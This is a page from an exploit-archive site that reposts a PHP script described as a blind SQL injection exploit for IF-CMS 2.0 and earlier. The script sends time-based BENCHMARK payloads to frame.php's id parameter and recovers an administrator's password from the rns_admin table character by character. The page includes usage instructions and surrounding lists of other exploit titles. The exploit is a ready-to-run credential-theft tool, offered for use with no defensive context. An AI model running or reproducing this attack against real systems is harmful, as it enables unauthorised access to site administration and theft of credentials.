首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-02-10  

--+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

<?php

function query ($username, $char, $pos)
{
 //Increase benchmark when exploit prints uncorrect passwords

 $query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
   "nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);
 return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
 $char = ord ($char);
 $fp = fsockopen ($hostname, 80);
 $get =  "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n\r\n";
  $a = time ();
 fputs ($fp, $get);
 while (!feof ($fp))
  fgets ($fp, 1024);

 fclose ($fp);
 $a = time () - $a;
 if ($a > 4)
  return true;
 else
  return false;

}

function usage ()
{
 echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
      "\n[+] Author  : darkjoker".
      "\n[+] Site    : http://darkjoker.net23.net".
      "\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
      "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
      "\n[+] Ex.     : php xpl.php localhost /IF-CMS root".
      "\n\n";
 exit ();
}

if ($argc != 4)
 usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
 if (exploit ($hostname, $path, $user, $key [$chr], $pos))
 {
  echo $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
  $chr++;
}
echo "\n\n";
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Orbit Downloader V2.8.5 Malfor
·w3bcms <= v3.5.0 Multiple Remo
·1024 CMS <= 1.4.4 Remote Comma
·FeedDemon <=2.7 OPML Outline T
·Nokia N95-8 browser crashing d
·PHP Director <= 0.21 Remote Co
·Simple PHP News version 1.0 Fi
·Hedgedog-CMS <= 1.21 Remote Co
·txtBB <= 1.0 RC3 HTML/JS Injec
·Squid < 3.1 5 HTTP Version Num
·FeedMon 2.7.0.0 outline Tag Bu
·TightVNC Authentication Failur
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved